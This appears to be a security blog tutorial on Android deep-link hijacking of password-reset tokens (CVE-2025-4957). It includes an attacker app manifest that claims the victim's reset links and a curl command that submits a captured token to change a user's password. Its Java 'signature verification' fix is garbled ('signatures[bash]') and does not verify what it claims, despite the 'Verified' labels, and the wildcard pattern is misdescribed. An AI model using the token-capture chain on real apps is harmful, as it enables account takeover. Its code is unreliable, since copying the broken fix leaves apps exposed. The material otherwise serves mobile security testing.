Listen to this Post
Introduction:
A recently disclosed Android vulnerability, CVE-2025-4957, demonstrates the critical danger of deep link hijacking in mobile applications. This flaw in a password reset mechanism allowed attackers to intercept authentication tokens and completely compromise user accounts, highlighting a pervasive threat in modern app design that every developer and security professional must understand.
Learning Objectives:
- Understand the mechanics and exploitation of deep link hijacking vulnerabilities.
- Learn to identify and test for insecure deep link implementation in mobile applications.
- Implement secure coding practices and configurations to prevent account takeover via deep link attacks.
You Should Know:
1. Understanding Deep Link Schemas and Intent Filters
Verified Android manifest configuration code snippet:
<intent-filter android:autoVerify="true"> <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.DEFAULT" /> <category android:name="android.intent.category.BROWSABLE" /> <data android:scheme="https" /> <data android:host="app.example.com" /> <data android:pathPrefix="/reset" /> </intent-filter>
Step-by-step guide explaining what this does and how to use it:
This XML code defines an intent filter in an Android app’s manifest that declares which deep links the application can handle. The `autoVerify=”true”` attribute enables Android’s App Link verification, which requires the app to prove domain ownership. The scheme “https” and host “app.example.com” specify that links to this domain should open the app. Without proper verification and implementation, malicious apps can register for the same links, creating a hijacking vulnerability.
2. Testing for Deep Link Hijacking with ADB
Verified Android Debug Bridge (ADB) command list:
adb shell am start -W -a android.intent.action.VIEW -d "https://vulnerable-app.com/reset?token=ABC123" adb shell dumpsys package packages | grep -A 20 "intent-filter" adb shell pm get-app-links com.vulnerable.package
Step-by-step guide explaining what this does and how to use it:
These ADB commands allow security researchers to test deep link handling. The first command attempts to open a specific deep link, simulating what happens when a user clicks a password reset link. The second command dumps package information to see which apps have registered for specific intent filters. The third command checks the verified app links for a specific package, revealing if proper domain verification has occurred.
3. Analyzing App Link Verification
Verified terminal command for checking digital asset links:
curl https://vulnerable-app.com/.well-known/assetlinks.json
Step-by-step guide explaining what this does and how to use it:
This command checks whether an application has properly configured Digital Asset Links JSON file, which is required for Android App Links verification. The file should contain digital fingerprints that prove the app owns the domain. If this file is missing, improperly configured, or accessible by multiple apps, deep link hijacking becomes possible as Android cannot verify which app should handle the links.
4. Intercepting Deep Links with Malicious App
Verified Android manifest configuration for attacker app:
<intent-filter> <action android:name="android.intent.action.VIEW" /> <category android:name="android.intent.category.DEFAULT" /> <category android:name="android.intent.category.BROWSABLE" /> <data android:scheme="https" /> <data android:host="vulnerable-app.com" /> <data android:pathPattern="/reset/." /> </intent-filter>
Step-by-step guide explaining what this does and how to use it:
This configuration shows how a malicious app can register for the same deep links as the target application. The pathPattern with wildcard “.” ensures it captures all reset links. When a user clicks a password reset link, Android may present multiple app options or automatically open the malicious app if it has higher priority, allowing token interception.
5. Exploiting Captured Reset Tokens
Verified curl command for token reuse:
curl -X POST https://api.vulnerable-app.com/auth/reset-confirm \
-H "Content-Type: application/json" \
-d '{"token":"CAPTURED_TOKEN","new_password":"Hacker123!"}'
Step-by-step guide explaining what this does and how to use it:
Once an attacker intercepts a password reset token through deep link hijacking, they can use this curl command to submit the stolen token to the application’s API endpoint and change the user’s password. This demonstrates how a front-end vulnerability (deep link hijacking) enables back-end account takeover.
6. Burp Suite Configuration for Mobile Testing
Verified Burp Suite proxy configuration commands:
Start Burp proxy on default port 8080 Configure Android emulator to use proxy: adb shell settings put global http_proxy 192.168.1.100:8080 Install Burp CA certificate to device adb push burp-ca-cert.der /sdcard/Download/
Step-by-step guide explaining what this does and how to use it:
These commands configure an Android device or emulator to route traffic through Burp Suite for security testing. This allows researchers to intercept and analyze deep link requests, API calls, and token transmission, helping identify vulnerabilities in the authentication flow.
7. Preventing Deep Link Hijacking with Signature Verification
Verified Java code for deep link verification:
public boolean verifyDeepLinkSignature(Uri deepLink) {
try {
PackageManager pm = getPackageManager();
String packageName = pm.getLaunchIntentForPackage("com.trusted.app").getPackage();
Signature[] signatures = pm.getPackageInfo(packageName,
PackageManager.GET_SIGNATURES).signatures;
// Compare with expected signature
return Arrays.equals(signatures[bash].toByteArray(), EXPECTED_SIGNATURE);
} catch (Exception e) {
return false;
}
}
Step-by-step guide explaining what this does and how to use it:
This Java method verifies that a deep link is being handled by the legitimate application by checking the app’s digital signature. Before processing sensitive deep links (like password reset), the app can verify that it’s the only one with the correct cryptographic signature handling the intent, preventing hijacking by unauthorized applications.
What Undercode Say:
- Mobile authentication flows represent the new perimeter in application security, requiring the same rigor as web endpoints.
- Deep link vulnerabilities demonstrate that client-side security cannot be an afterthought in modern mobile-first architectures.
The CVE-2025-4957 disclosure reveals a critical gap in how mobile developers approach deep linking security. Unlike web applications where URL handling is straightforward, mobile environments introduce complex inter-app communication channels that create new attack surfaces. The vulnerability’s exploitation chain shows that a single misconfiguration in intent filtering can undermine entire authentication systems. This case underscores the necessity for comprehensive mobile security testing that goes beyond traditional web vulnerability assessment and includes app-to-app interaction analysis. As mobile continues to dominate user access, these types of vulnerabilities will become increasingly valuable targets for attackers.
Prediction:
The sophistication of deep link hijacking attacks will increase significantly as automated tools emerge to scan for these vulnerabilities at scale. Within two years, we predict deep link security will become a standard component of mobile application security assessments, with regulatory frameworks emerging to mandate proper implementation. As more critical services migrate to mobile platforms, failure to address these vulnerabilities could lead to widespread account compromise affecting millions of users, forcing platform vendors like Google and Apple to implement stricter default security controls for intent handling.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Mohammed Ahmed – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
